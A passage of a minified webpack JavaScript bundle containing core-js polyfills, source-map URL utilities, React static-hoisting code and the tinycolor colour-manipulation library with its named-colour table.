r=n(14),o=n(25),i=Function.prototype,a=r&&Object.getOwnPropertyDescriptor,l=o(i,"name"),s=l&&"something"===function(){}.name,u=l&&(!r||r&&a(i,"name").configurable);e.exports={EXISTS:l,PROPER:s,CONFIGURABLE:u}},function(e,t,n){var r=n(59),o=n(7);e.exports="process"==r(o.process)},function(e,t,n){"use strict";var r=n(39),o=n(26),i=n(21),a=n(14),l=i("species");e.exports=function(e){var t=r(e),n=o.f;a&&t&&!t[l]&&n(t,l,{configurable:!0,get:function(){return this}})}},function(e,t,n){var r=n(7),o=n(62),i=n(22),a=n(15),l=n(89),s=n(166),u=n(32),c=n(60),f=n(129),d=n(111),p=n(228),h=r.TypeError,m=function(e,t){this.stopped=e,this.result=t},g=m.prototype;e.exports=function(e,t,n){var r,v,y,b,w,E,S,C=n&&n.that,x=!(!n||!n.AS_ENTRIES),O=!(!n||!n.IS_ITERATOR),A=!(!n||!n.INTERRUPTED),_=o(t,C),T=function(e){return r&&p(r,"normal",e),new m(!0,e)},k=function(e){return x?(a(e),A?_(e[0],e[1],T):_(e[0],e[1])):A?_(e,T):_(e)};if(O)r=e;else{if(!(v=d(e)))throw h(l(e)+" is not iterable");if(s(v)){for(y=0,b=u(e);b>y;y++)if((w=k(e[y]))&&c(g,w))return w;return new m(!1)}r=f(e,v)}for(E=r.next;!(S=i(E,r)).done;){try{w=k(S.value)}catch(e){p(r,"throw",e)}if("object"==typeof w&&w&&c(g,w))return w}return new m(!1)}},function(e,t,n){var r=n(11),o=n(41),i=n(28),a=n(138),l=r("".replace),s="["+a+"]",u=RegExp("^"+s+s+"*"),c=RegExp(s+s+"*$"),f=function(e){return function(t){var n=i(o(t));return 1&e&&(n=l(n,u,"")),2&e&&(n=l(n,c,"")),n}};e.exports={start:f(1),end:f(2),trim:f(3)}},function(e,t,n){var r=n(7);e.exports=r.Promise},function(e,t,n){"use strict";var r=n(319),o="object"==typeof self&&self&&self.Object===Object&&self,i=r.a||o||Function("return this")();t.a=i},function(e,t,n){"use strict";n.r(t),n.d(t,"default",(function(){return i}));var r,o=!("undefined"==typeof window||!window.document||!window.document.createElement);function i(e){if((!r&&0!==r||e)&&o){var t=document.createElement("div");t.style.position="absolute",t.style.top="-9999px",t.style.width="50px",t.style.height="50px",t.style.overflow="scroll",document.body.appendChild(t),r=t.offsetWidth-t.clientWidth,document.body.removeChild(t)}return r}},function(e,t,n){var r=n(10);e.exports=!r((function(){var e=function(){}.bind();return"function"!=typeof e||e.hasOwnProperty("prototype")}))},function(e,t,n){var r=n(7),o=n(11),i=n(10),a=n(59),l=r.Object,s=o("".split);e.exports=i((function(){return!l("z").propertyIsEnumerable(0)}))?function(e){return"String"==a(e)?s(e,""):l(e)}:l},function(e,t,n){var r=n(11),o=0,i=Math.random(),a=r(1..toString);e.exports=function(e){return"Symbol("+(void 0===e?"":e)+")_"+a(++o+i,36)}},function(e,t){e.exports={}},function(e,t,n){var r=n(40),o=n(66),i=n(32),a=function(e){return function(t,n,a){var l,s=r(t),u=i(s),c=o(a,u);if(e&&n!=n){for(;u>c;)if((l=s[c++])!=l)return!0}else for(;u>c;c++)if((e||c in s)&&s[c]===n)return e||c||0;return!e&&-1}};e.exports={includes:a(!0),indexOf:a(!1)}},function(e,t,n){var r=n(10),o=n(23),i=/#|\.prototype\./,a=function(e,t){var n=s[l(e)];return n==c||n!=u&&(o(t)?r(t):!!t)},l=a.normalize=function(e){return String(e).replace(i,".").toLowerCase()},s=a.data={},u=a.NATIVE="N",c=a.POLYFILL="P";e.exports=a},function(e,t,n){var r=n(219),o=n(161);e.exports=Object.keys||function(e){return r(e,o)}},function(e,t,n){var r=n(7),o=n(66),i=n(32),a=n(74),l=r.Array,s=Math.max;e.exports=function(e,t,n){for(var r=i(e),u=o(t,r),c=o(void 0===n?r:n,r),f=l(s(c-u,0)),d=0;u<c;u++,d++)a(f,d,e[u]);return f.length=d,f}},function(e,t,n){var r=n(335);e.exports=function(e,t){return new(r(e))(0===t?0:t)}},function(e,t,n){var r=n(11),o=n(10),i=n(23),a=n(82),l=n(39),s=n(126),u=function(){},c=[],f=l("Reflect","construct"),d=/^\s*(?:class|function)\b/,p=r(d.exec),h=!d.exec(u),m=function(e){if(!i(e))return!1;try{return f(u,c,e),!0}catch(e){return!1}},g=function(e){if(!i(e))return!1;switch(a(e)){case"AsyncFunction":case"GeneratorFunction":case"AsyncGeneratorFunction":return!1}try{return h||!!p(d,s(e))}catch(e){return!0}};g.sham=!0,e.exports=!f||o((function(){var e;return m(m.call)||!m(Object)||!m((function(){e=!0}))||e}))?g:m},function(e,t,n){var r=n(10),o=n(21),i=n(72),a=o("species");e.exports=function(e){return i>=51||!r((function(){var t=[];return(t.constructor={})[a]=function(){return{foo:1}},1!==t[e](Boolean).foo}))}},function(e,t){e.exports={}},function(e,t,n){var r=n(82),o=n(81),i=n(110),a=n(21)("iterator");e.exports=function(e){if(null!=e)return o(e,a)||o(e,"@@iterator")||i[r(e)]}},function(e,t,n){var r=n(31);e.exports=function(e,t,n){for(var o in t)r(e,o,t[o],n);return e}},function(e,t,n){var r=n(15),o=n(172),i=n(21)("species");e.exports=function(e,t){var n,a=r(e).constructor;return void 0===a||null==(n=r(a)[i])?t:o(n)}},function(e,t,n){var r=n(10);e.exports=!r((function(){return Object.isExtensible(Object.preventExtensions({}))}))},function(e,t,n){var r=n(7).TypeError;e.exports=function(e,t){if(e<t)throw r("Not enough arguments");return e}},function(e,t,n){var r=n(7),o=n(96),i=n(23),a=n(104),l=n(126),s=n(21),u=n(468),c=n(42),f=n(72),d=o&&o.prototype,p=s("species"),h=!1,m=i(r.PromiseRejectionEvent),g=a("Promise",(function(){var e=l(o),t=e!==String(o);if(!t&&66===f)return!0;if(c&&(!d.catch||!d.finally))return!0;if(f>=51&&/native code/.test(e))return!1;var n=new o((function(e){e(1)})),r=function(e){e((function(){}),(function(){}))};return(n.constructor={})[p]=r,!(h=n.then((function(){}))instanceof r)||!t&&u&&!m}));e.exports={CONSTRUCTOR:g,REJECTION_EVENT:m,SUBCLASSING:h}},function(e,t,n){"use strict";var r=n(37),o=function(e){var t,n;this.promise=new e((function(e,r){if(void 0!==t||void 0!==n)throw TypeError("Bad Promise constructor");t=e,n=r})),this.resolve=r(t),this.reject=r(n)};e.exports.f=function(e){return new o(e)}},function(e,t){var n=Array.isArray;e.exports=n},function(e,t,n){var r=n(193).default;function o(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(o=function(e){return e?n:t})(e)}e.exports=function(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=o(t);if(n&&n.has(e))return n.get(e);var i={},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var l in e)if("default"!==l&&Object.prototype.hasOwnProperty.call(e,l)){var s=a?Object.getOwnPropertyDescriptor(e,l):null;s&&(s.get||s.set)?Object.defineProperty(i,l,s):i[l]=e[l]}return i.default=e,n&&n.set(e,i),i},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){t.getArg=function(e,t,n){if(t in e)return e[t];if(3===arguments.length)return n;throw new Error('"'+t+'" is a required argument.')};var n=/^(?:([\w+\-.]+):)?\/\/(?:(\w+:\w+)@)?([\w.-]*)(?::(\d+))?(.*)$/,r=/^data:.+\,.+$/;function o(e){var t=e.match(n);return t?{scheme:t[1],auth:t[2],host:t[3],port:t[4],path:t[5]}:null}function i(e){var t="";return e.scheme&&(t+=e.scheme+":"),t+="//",e.auth&&(t+=e.auth+"@"),e.host&&(t+=e.host),e.port&&(t+=":"+e.port),e.path&&(t+=e.path),t}function a(e){var n=e,r=o(e);if(r){if(!r.path)return e;n=r.path}for(var a,l=t.isAbsolute(n),s=n.split(/\/+/),u=0,c=s.length-1;c>=0;c--)"."===(a=s[c])?s.splice(c,1):".."===a?u++:u>0&&(""===a?(s.splice(c+1,u),u=0):(s.splice(c,2),u--));return""===(n=s.join("/"))&&(n=l?"/":"."),r?(r.path=n,i(r)):n}function l(e,t){""===e&&(e="."),""===t&&(t=".");var n=o(t),l=o(e);if(l&&(e=l.path||"/"),n&&!n.scheme)return l&&(n.scheme=l.scheme),i(n);if(n||t.match(r))return t;if(l&&!l.host&&!l.path)return l.host=t,i(l);var s="/"===t.charAt(0)?t:a(e.replace(/\/+$/,"")+"/"+t);return l?(l.path=s,i(l)):s}t.urlParse=o,t.urlGenerate=i,t.normalize=a,t.join=l,t.isAbsolute=function(e){return"/"===e.charAt(0)||n.test(e)},t.relative=function(e,t){""===e&&(e="."),e=e.replace(/\/$/,"");for(var n=0;0!==t.indexOf(e+"/");){var r=e.lastIndexOf("/");if(r<0)return t;if((e=e.slice(0,r)).match(/^([^\/]+:\/)?\/*$/))return t;++n}return Array(n+1).join("../")+t.substr(e.length+1)};var s=!("__proto__"in Object.create(null));function u(e){return e}function c(e){if(!e)return!1;var t=e.length;if(t<9)return!1;if(95!==e.charCodeAt(t-1)||95!==e.charCodeAt(t-2)||111!==e.charCodeAt(t-3)||116!==e.charCodeAt(t-4)||111!==e.charCodeAt(t-5)||114!==e.charCodeAt(t-6)||112!==e.charCodeAt(t-7)||95!==e.charCodeAt(t-8)||95!==e.charCodeAt(t-9))return!1;for(var n=t-10;n>=0;n--)if(36!==e.charCodeAt(n))return!1;return!0}function f(e,t){return e===t?0:null===e?1:null===t?-1:e>t?1:-1}t.toSetString=s?u:function(e){return c(e)?"$"+e:e},t.fromSetString=s?u:function(e){return c(e)?e.slice(1):e},t.compareByOriginalPositions=function(e,t,n){var r=f(e.source,t.source);return 0!==r||0!==(r=e.originalLine-t.originalLine)||0!==(r=e.originalColumn-t.originalColumn)||n||0!==(r=e.generatedColumn-t.generatedColumn)||0!==(r=e.generatedLine-t.generatedLine)?r:f(e.name,t.name)},t.compareByGeneratedPositionsDeflated=function(e,t,n){var r=e.generatedLine-t.generatedLine;return 0!==r||0!==(r=e.generatedColumn-t.generatedColumn)||n||0!==(r=f(e.source,t.source))||0!==(r=e.originalLine-t.originalLine)||0!==(r=e.originalColumn-t.originalColumn)?r:f(e.name,t.name)},t.compareByGeneratedPositionsInflated=function(e,t){var n=e.generatedLine-t.generatedLine;return 0!==n||0!==(n=e.generatedColumn-t.generatedColumn)||0!==(n=f(e.source,t.source))||0!==(n=e.originalLine-t.originalLine)||0!==(n=e.originalColumn-t.originalColumn)?n:f(e.name,t.name)},t.parseSourceMapInput=function(e){return JSON.parse(e.replace(/^\)]}'[^\n]*\n/,""))},t.computeSourceURL=function(e,t,n){if(t=t||"",e&&("/"!==e[e.length-1]&&"/"!==t[0]&&(e+="/"),t=e+t),n){var r=o(n);if(!r)throw new Error("sourceMapURL could not be parsed");if(r.path){var s=r.path.lastIndexOf("/");s>=0&&(r.path=r.path.substring(0,s+1))}t=l(i(r),t)}return a(t)}},function(e,t,n){"use strict";var r=n(586),o={childContextTypes:!0,contextType:!0,contextTypes:!0,defaultProps:!0,displayName:!0,getDefaultProps:!0,getDerivedStateFromError:!0,getDerivedStateFromProps:!0,mixins:!0,propTypes:!0,type:!0},i={name:!0,length:!0,prototype:!0,caller:!0,callee:!0,arguments:!0,arity:!0},a={$$typeof:!0,compare:!0,defaultProps:!0,displayName:!0,propTypes:!0,type:!0},l={};function s(e){return r.isMemo(e)?a:l[e.$$typeof]||o}l[r.ForwardRef]={$$typeof:!0,render:!0,defaultProps:!0,displayName:!0,propTypes:!0},l[r.Memo]=a;var u=Object.defineProperty,c=Object.getOwnPropertyNames,f=Object.getOwnPropertySymbols,d=Object.getOwnPropertyDescriptor,p=Object.getPrototypeOf,h=Object.prototype;e.exports=function e(t,n,r){if("string"!=typeof n){if(h){var o=p(n);o&&o!==h&&e(t,o,r)}var a=c(n);f&&(a=a.concat(f(n)));for(var l=s(t),m=s(n),g=0;g<a.length;++g){var v=a[g];if(!(i[v]||r&&r[v]||m&&m[v]||l&&l[v])){var y=d(n,v);try{u(t,v,y)}catch(e){}}}}return t}},function(e,t,n){"use strict";e.exports=n(998)},function(e,t,n){var r;!function(o){var i=/^\s+/,a=/\s+$/,l=0,s=o.round,u=o.min,c=o.max,f=o.random;function d(e,t){if(t=t||{},(e=e||"")instanceof d)return e;if(!(this instanceof d))return new d(e,t);var n=function(e){var t={r:0,g:0,b:0},n=1,r=null,l=null,s=null,f=!1,d=!1;"string"==typeof e&&(e=function(e){e=e.replace(i,"").replace(a,"").toLowerCase();var t,n=!1;if(P[e])e=P[e],n=!0;else if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};if(t=U.rgb.exec(e))return{r:t[1],g:t[2],b:t[3]};if(t=U.rgba.exec(e))return{r:t[1],g:t[2],b:t[3],a:t[4]};if(t=U.hsl.exec(e))return{h:t[1],s:t[2],l:t[3]};if(t=U.hsla.exec(e))return{h:t[1],s:t[2],l:t[3],a:t[4]};if(t=U.hsv.exec(e))return{h:t[1],s:t[2],v:t[3]};if(t=U.hsva.exec(e))return{h:t[1],s:t[2],v:t[3],a:t[4]};if(t=U.hex8.exec(e))return{r:I(t[1]),g:I(t[2]),b:I(t[3]),a:B(t[4]),format:n?"name":"hex8"};if(t=U.hex6.exec(e))return{r:I(t[1]),g:I(t[2]),b:I(t[3]),format:n?"name":"hex"};if(t=U.hex4.exec(e))return{r:I(t[1]+""+t[1]),g:I(t[2]+""+t[2]),b:I(t[3]+""+t[3]),a:B(t[4]+""+t[4]),format:n?"name":"hex8"};if(t=U.hex3.exec(e))return{r:I(t[1]+""+t[1]),g:I(t[2]+""+t[2]),b:I(t[3]+""+t[3]),format:n?"name":"hex"};return!1}(e));"object"==typeof e&&(G(e.r)&&G(e.g)&&G(e.b)?(p=e.r,h=e.g,m=e.b,t={r:255*j(p,255),g:255*j(h,255),b:255*j(m,255)},f=!0,d="%"===String(e.r).substr(-1)?"prgb":"rgb"):G(e.h)&&G(e.s)&&G(e.v)?(r=D(e.s),l=D(e.v),t=function(e,t,n){e=6*j(e,360),t=j(t,100),n=j(n,100);var r=o.floor(e),i=e-r,a=n*(1-t),l=n*(1-i*t),s=n*(1-(1-i)*t),u=r%6;return{r:255*[n,l,a,a,s,n][u],g:255*[s,n,n,l,a,a][u],b:255*[a,a,s,n,n,l][u]}}(e.h,r,l),f=!0,d="hsv"):G(e.h)&&G(e.s)&&G(e.l)&&(r=D(e.s),s=D(e.l),t=function(e,t,n){var r,o,i;function a(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}if(e=j(e,360),t=j(t,100),n=j(n,100),0===t)r=o=i=n;else{var l=n<.5?n*(1+t):n+t-n*t,s=2*n-l;r=a(s,l,e+1/3),o=a(s,l,e),i=a(s,l,e-1/3)}return{r:255*r,g:255*o,b:255*i}}(e.h,r,s),f=!0,d="hsl"),e.hasOwnProperty("a")&&(n=e.a));var p,h,m;return n=R(n),{ok:f,format:e.format||d,r:u(255,c(t.r,0)),g:u(255,c(t.g,0)),b:u(255,c(t.b,0)),a:n}}(e);this._originalInput=e,this._r=n.r,this._g=n.g,this._b=n.b,this._a=n.a,this._roundA=s(100*this._a)/100,this._format=t.format||n.format,this._gradientType=t.gradientType,this._r<1&&(this._r=s(this._r)),this._g<1&&(this._g=s(this._g)),this._b<1&&(this._b=s(this._b)),this._ok=n.ok,this._tc_id=l++}function p(e,t,n){e=j(e,255),t=j(t,255),n=j(n,255);var r,o,i=c(e,t,n),a=u(e,t,n),l=(i+a)/2;if(i==a)r=o=0;else{var s=i-a;switch(o=l>.5?s/(2-i-a):s/(i+a),i){case e:r=(t-n)/s+(t<n?6:0);break;case t:r=(n-e)/s+2;break;case n:r=(e-t)/s+4}r/=6}return{h:r,s:o,l:l}}function h(e,t,n){e=j(e,255),t=j(t,255),n=j(n,255);var r,o,i=c(e,t,n),a=u(e,t,n),l=i,s=i-a;if(o=0===i?0:s/i,i==a)r=0;else{switch(i){case e:r=(t-n)/s+(t<n?6:0);break;case t:r=(n-e)/s+2;break;case n:r=(e-t)/s+4}r/=6}return{h:r,s:o,v:l}}function m(e,t,n,r){var o=[N(s(e).toString(16)),N(s(t).toString(16)),N(s(n).toString(16))];return r&&o[0].charAt(0)==o[0].charAt(1)&&o[1].charAt(0)==o[1].charAt(1)&&o[2].charAt(0)==o[2].charAt(1)?o[0].charAt(0)+o[1].charAt(0)+o[2].charAt(0):o.join("")}function g(e,t,n,r){return[N(F(r)),N(s(e).toString(16)),N(s(t).toString(16)),N(s(n).toString(16))].join("")}function v(e,t){t=0===t?0:t||10;var n=d(e).toHsl();return n.s-=t/100,n.s=L(n.s),d(n)}function y(e,t){t=0===t?0:t||10;var n=d(e).toHsl();return n.s+=t/100,n.s=L(n.s),d(n)}function b(e){return d(e).desaturate(100)}function w(e,t){t=0===t?0:t||10;var n=d(e).toHsl();return n.l+=t/100,n.l=L(n.l),d(n)}function E(e,t){t=0===t?0:t||10;var n=d(e).toRgb();return n.r=c(0,u(255,n.r-s(-t/100*255))),n.g=c(0,u(255,n.g-s(-t/100*255))),n.b=c(0,u(255,n.b-s(-t/100*255))),d(n)}function S(e,t){t=0===t?0:t||10;var n=d(e).toHsl();return n.l-=t/100,n.l=L(n.l),d(n)}function C(e,t){var n=d(e).toHsl(),r=(n.h+t)%360;return n.h=r<0?360+r:r,d(n)}function x(e){var t=d(e).toHsl();return t.h=(t.h+180)%360,d(t)}function O(e){var t=d(e).toHsl(),n=t.h;return[d(e),d({h:(n+120)%360,s:t.s,l:t.l}),d({h:(n+240)%360,s:t.s,l:t.l})]}function A(e){var t=d(e).toHsl(),n=t.h;return[d(e),d({h:(n+90)%360,s:t.s,l:t.l}),d({h:(n+180)%360,s:t.s,l:t.l}),d({h:(n+270)%360,s:t.s,l:t.l})]}function _(e){var t=d(e).toHsl(),n=t.h;return[d(e),d({h:(n+72)%360,s:t.s,l:t.l}),d({h:(n+216)%360,s:t.s,l:t.l})]}function T(e,t,n){t=t||6,n=n||30;var r=d(e).toHsl(),o=360/n,i=[d(e)];for(r.h=(r.h-(o*t>>1)+720)%360;--t;)r.h=(r.h+o)%360,i.push(d(r));return i}function k(e,t){t=t||6;for(var n=d(e).toHsv(),r=n.h,o=n.s,i=n.v,a=[],l=1/t;t--;)a.push(d({h:r,s:o,v:i})),i=(i+l)%1;return a}d.prototype={isDark:function(){return this.getBrightness()<128},isLight:function(){return!this.isDark()},isValid:function(){return this._ok},getOriginalInput:function(){return this._originalInput},getFormat:function(){return this._format},getAlpha:function(){return this._a},getBrightness:function(){var e=this.toRgb();return(299*e.r+587*e.g+114*e.b)/1e3},getLuminance:function(){var e,t,n,r=this.toRgb();return e=r.r/255,t=r.g/255,n=r.b/255,.2126*(e<=.03928?e/12.92:o.pow((e+.055)/1.055,2.4))+.7152*(t<=.03928?t/12.92:o.pow((t+.055)/1.055,2.4))+.0722*(n<=.03928?n/12.92:o.pow((n+.055)/1.055,2.4))},setAlpha:function(e){return this._a=R(e),this._roundA=s(100*this._a)/100,this},toHsv:function(){var e=h(this._r,this._g,this._b);return{h:360*e.h,s:e.s,v:e.v,a:this._a}},toHsvString:function(){var e=h(this._r,this._g,this._b),t=s(360*e.h),n=s(100*e.s),r=s(100*e.v);return 1==this._a?"hsv("+t+", "+n+"%, "+r+"%)":"hsva("+t+", "+n+"%, "+r+"%, "+this._roundA+")"},toHsl:function(){var e=p(this._r,this._g,this._b);return{h:360*e.h,s:e.s,l:e.l,a:this._a}},toHslString:function(){var e=p(this._r,this._g,this._b),t=s(360*e.h),n=s(100*e.s),r=s(100*e.l);return 1==this._a?"hsl("+t+", "+n+"%, "+r+"%)":"hsla("+t+", "+n+"%, "+r+"%, "+this._roundA+")"},toHex:function(e){return m(this._r,this._g,this._b,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(e){return function(e,t,n,r,o){var i=[N(s(e).toString(16)),N(s(t).toString(16)),N(s(n).toString(16)),N(F(r))];if(o&&i[0].charAt(0)==i[0].charAt(1)&&i[1].charAt(0)==i[1].charAt(1)&&i[2].charAt(0)==i[2].charAt(1)&&i[3].charAt(0)==i[3].charAt(1))return i[0].charAt(0)+i[1].charAt(0)+i[2].charAt(0)+i[3].charAt(0);return i.join("")}(this._r,this._g,this._b,this._a,e)},toHex8String:function(e){return"#"+this.toHex8(e)},toRgb:function(){return{r:s(this._r),g:s(this._g),b:s(this._b),a:this._a}},toRgbString:function(){return 1==this._a?"rgb("+s(this._r)+", "+s(this._g)+", "+s(this._b)+")":"rgba("+s(this._r)+", "+s(this._g)+", "+s(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:s(100*j(this._r,255))+"%",g:s(100*j(this._g,255))+"%",b:s(100*j(this._b,255))+"%",a:this._a}},toPercentageRgbString:function(){return 1==this._a?"rgb("+s(100*j(this._r,255))+"%, "+s(100*j(this._g,255))+"%, "+s(100*j(this._b,255))+"%)":"rgba("+s(100*j(this._r,255))+"%, "+s(100*j(this._g,255))+"%, "+s(100*j(this._b,255))+"%, "+this._roundA+")"},toName:function(){return 0===this._a?"transparent":!(this._a<1)&&(M[m(this._r,this._g,this._b,!0)]||!1)},toFilter:function(e){var t="#"+g(this._r,this._g,this._b,this._a),n=t,r=this._gradientType?"GradientType = 1, ":"";if(e){var o=d(e);n="#"+g(o._r,o._g,o._b,o._a)}return"progid:DXImageTransform.Microsoft.gradient("+r+"startColorstr="+t+",endColorstr="+n+")"},toString:function(e){var t=!!e;e=e||this._format;var n=!1,r=this._a<1&&this._a>=0;return t||!r||"hex"!==e&&"hex6"!==e&&"hex3"!==e&&"hex4"!==e&&"hex8"!==e&&"name"!==e?("rgb"===e&&(n=this.toRgbString()),"prgb"===e&&(n=this.toPercentageRgbString()),"hex"!==e&&"hex6"!==e||(n=this.toHexString()),"hex3"===e&&(n=this.toHexString(!0)),"hex4"===e&&(n=this.toHex8String(!0)),"hex8"===e&&(n=this.toHex8String()),"name"===e&&(n=this.toName()),"hsl"===e&&(n=this.toHslString()),"hsv"===e&&(n=this.toHsvString()),n||this.toHexString()):"name"===e&&0===this._a?this.toName():this.toRgbString()},clone:function(){return d(this.toString())},_applyModification:function(e,t){var n=e.apply(null,[this].concat([].slice.call(t)));return this._r=n._r,this._g=n._g,this._b=n._b,this.setAlpha(n._a),this},lighten:function(){return this._applyModification(w,arguments)},brighten:function(){return this._applyModification(E,arguments)},darken:function(){return this._applyModification(S,arguments)},desaturate:function(){return this._applyModification(v,arguments)},saturate:function(){return this._applyModification(y,arguments)},greyscale:function(){return this._applyModification(b,arguments)},spin:function(){return this._applyModification(C,arguments)},_applyCombination:function(e,t){return e.apply(null,[this].concat([].slice.call(t)))},analogous:function(){return this._applyCombination(T,arguments)},complement:function(){return this._applyCombination(x,arguments)},monochromatic:function(){return this._applyCombination(k,arguments)},splitcomplement:function(){return this._applyCombination(_,arguments)},triad:function(){return this._applyCombination(O,arguments)},tetrad:function(){return this._applyCombination(A,arguments)}},d.fromRatio=function(e,t){if("object"==typeof e){var n={};for(var r in e)e.hasOwnProperty(r)&&(n[r]="a"===r?e[r]:D(e[r]));e=n}return d(e,t)},d.equals=function(e,t){return!(!e||!t)&&d(e).toRgbString()==d(t).toRgbString()},d.random=function(){return d.fromRatio({r:f(),g:f(),b:f()})},d.mix=function(e,t,n){n=0===n?0:n||50;var r=d(e).toRgb(),o=d(t).toRgb(),i=n/100;return d({r:(o.r-r.r)*i+r.r,g:(o.g-r.g)*i+r.g,b:(o.b-r.b)*i+r.b,a:(o.a-r.a)*i+r.a})},d.readability=function(e,t){var n=d(e),r=d(t);return(o.max(n.getLuminance(),r.getLuminance())+.05)/(o.min(n.getLuminance(),r.getLuminance())+.05)},d.isReadable=function(e,t,n){var r,o,i=d.readability(e,t);switch(o=!1,(r=function(e){var t,n;t=((e=e||{level:"AA",size:"small"}).level||"AA").toUpperCase(),n=(e.size||"small").toLowerCase(),"AA"!==t&&"AAA"!==t&&(t="AA");"small"!==n&&"large"!==n&&(n="small");return{level:t,size:n}}(n)).level+r.size){case"AAsmall":case"AAAlarge":o=i>=4.5;break;case"AAlarge":o=i>=3;break;case"AAAsmall":o=i>=7}return o},d.mostReadable=function(e,t,n){var r,o,i,a,l=null,s=0;o=(n=n||{}).includeFallbackColors,i=n.level,a=n.size;for(var u=0;u<t.length;u++)(r=d.readability(e,t[u]))>s&&(s=r,l=d(t[u]));return d.isReadable(e,l,{level:i,size:a})||!o?l:(n.includeFallbackColors=!1,d.mostReadable(e,["#fff","#000"],n))};var P=d.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",rebeccapurple:"663399",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},M=d.hexNames=function(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[e[n]]=n);return t}(P);function R(e){return e=parseFloat(e),(isNaN(e)||e<0||e>1)&&(e=1),e}function j(e,t){(function(e){return"string"==typeof e&&-1!=e.indexOf(".")&&1===parseFloat(e)})(e)&&(e="100%");var n=function(e){return"string"==typeof e&&-1!=e.indexOf("%")}(e);return e=u(t,c(0,parseFloat(e))),n&&(e=parseInt(e*t,10)/100),o.abs(e-t)<1e-6?1:e%t/parseFloat(t)}function L(e){return u(1,c(0,e))}function I(e){return parseInt(e,16)}function N(e){return 1==e.length?"0"+e:""+e}function D(e){return e<=1&&(e=100*e+"%"),e}function F(e){return o.round(255*parseFloat(e)).toString(16)}function B(e){return I(e)/255}var H,V,z,U=(V="[\\s|\\(]+("+(H="(?:[-\\+]?\\d*\\.\\d+%?)|(?:[-\\+]?\\d+%?)")+")[,|\\s]+("+H+")[,|\\s]+("+H+")\\s*\\)?",z="[\\s|\\(]+("+H+")[,|\\s]+("+H+")[,|\\s]+("+H+")[,|\\s]+("+H+")\\s*\\)?",{CSS_UNIT:new RegExp(H),rgb:new RegExp("rgb"+V),rgba:new RegExp("rgba"+z),hsl:new RegExp("hsl"+V),hsla:new RegExp("hsla"+z),hsv:new RegExp("hsv"+V),hsva:new 